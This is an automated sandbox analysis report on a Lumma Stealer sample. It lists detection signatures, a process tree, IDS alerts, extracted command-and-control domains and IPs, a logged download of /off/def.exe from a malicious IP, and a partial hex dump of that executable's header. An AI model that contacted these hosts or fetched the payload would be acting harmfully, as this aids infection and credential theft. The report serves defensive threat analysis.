Edit tour

Windows Analysis Report
SMmAznmdAa.exe

Overview

General Information

Sample name:	SMmAznmdAa.exe renamed because original name is a hash value
Original sample name:	81c26ae8bb24c97cd8fc89bcfd82e413.exe
Analysis ID:	1582825
MD5:	81c26ae8bb24c97cd8fc89bcfd82e413
SHA1:	d7da9d739de684db4a7ac5044e4d750ff753fea1
SHA256:	52ccbb030d616f534e5acb49d563ca987c62f915026e83072e78894bb972956a
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SMmAznmdAa.exe (PID: 1456 cmdline: "C:\Users\user\Desktop\SMmAznmdAa.exe" MD5: 81C26AE8BB24C97CD8FC89BCFD82E413)

chrome.exe (PID: 1872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=1964,i,16643933853050129922,7654861729800679491,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5360 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1872,i,16145117965439116962,11826208785470456376,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["fancywaxxers.shop", "framekgirus.shop", "nearycrepso.shop", "wholersorie.shop", "noisycuttej.shop", "abruptyopsn.shop", "cloudewahsj.shop", "tirepublicerj.shop", "rabidcowse.shop"], "Build id": "shop--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1668963495.0000000001996000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SMmAznmdAa.exe PID: 1456	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SMmAznmdAa.exe PID: 1456	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SMmAznmdAa.exe PID: 1456	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: SMmAznmdAa.exe PID: 1456	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:41:53.447238+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	104.21.48.1	443	TCP
2024-12-31T15:41:54.574611+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	104.21.48.1	443	TCP
2024-12-31T15:41:55.932849+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	104.21.48.1	443	TCP
2024-12-31T15:41:57.185109+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	104.21.48.1	443	TCP
2024-12-31T15:41:58.890950+0100	2028371	3	Unknown Traffic	192.168.2.8	49711	104.21.48.1	443	TCP
2024-12-31T15:42:00.832564+0100	2028371	3	Unknown Traffic	192.168.2.8	49712	104.21.48.1	443	TCP
2024-12-31T15:42:02.464783+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	104.21.48.1	443	TCP
2024-12-31T15:42:06.481262+0100	2028371	3	Unknown Traffic	192.168.2.8	49714	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:41:54.105266+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49707	104.21.48.1	443	TCP
2024-12-31T15:41:55.050232+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49708	104.21.48.1	443	TCP
2024-12-31T15:42:06.968667+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49714	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:41:54.105266+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49707	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:41:55.050232+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49708	104.21.48.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:41:53.447238+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49707	104.21.48.1	443	TCP
2024-12-31T15:41:54.574611+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49708	104.21.48.1	443	TCP
2024-12-31T15:41:55.932849+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49709	104.21.48.1	443	TCP
2024-12-31T15:41:57.185109+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49710	104.21.48.1	443	TCP
2024-12-31T15:41:58.890950+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49711	104.21.48.1	443	TCP
2024-12-31T15:42:00.832564+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49712	104.21.48.1	443	TCP
2024-12-31T15:42:02.464783+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49713	104.21.48.1	443	TCP
2024-12-31T15:42:06.481262+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.8	49714	104.21.48.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:42:07.692588+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49715	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:41:52.933030+0100	2058656	1	Domain Observed Used for C2 Detected	192.168.2.8	65080	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T15:42:01.257460+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49712	104.21.48.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SMmAznmdAa.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://fancywaxxers.shop/apip9	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/)	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apiMicrosoft	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/U	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apit;	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/e	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/Z	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/f	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api0	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/apiF	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/apitPK	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/-	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop:443/api-	Avira URL Cloud: Label: malware

Found malware configuration

Source: SMmAznmdAa.exe.1456.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["fancywaxxers.shop", "framekgirus.shop", "nearycrepso.shop", "wholersorie.shop", "noisycuttej.shop", "abruptyopsn.shop", "cloudewahsj.shop", "tirepublicerj.shop", "rabidcowse.shop"], "Build id": "shop--"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SMmAznmdAa.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: SMmAznmdAa.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.8:49714 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058656 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop) : 192.168.2.8:65080 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49708 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49707 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49710 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49714 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49711 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49712 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49709 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.8:49713 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49708 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49707 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49707 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49708 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49712 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49714 -> 104.21.48.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop

Source: global traffic

TCP traffic: 192.168.2.8:60956 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 31 Dec 2024 14:42:06 GMTContent-Type: application/octet-streamContent-Length: 2830336Last-Modified: Tue, 31 Dec 2024 14:25:09 GMTConnection: keep-aliveETag: "6773fec5-2b3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 e2 d1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 7a 67 70 6d 6c 77 71 00 c0 2a 00 00 a0 00 00 00 a2 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 76 77 69 70 75 78 73 00 20 00 00 00 60 2b 00 00 04 00 00 00 0a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 0e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49714 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49711 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49712 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49715 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_129.10.dr, chromecache_108.10.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
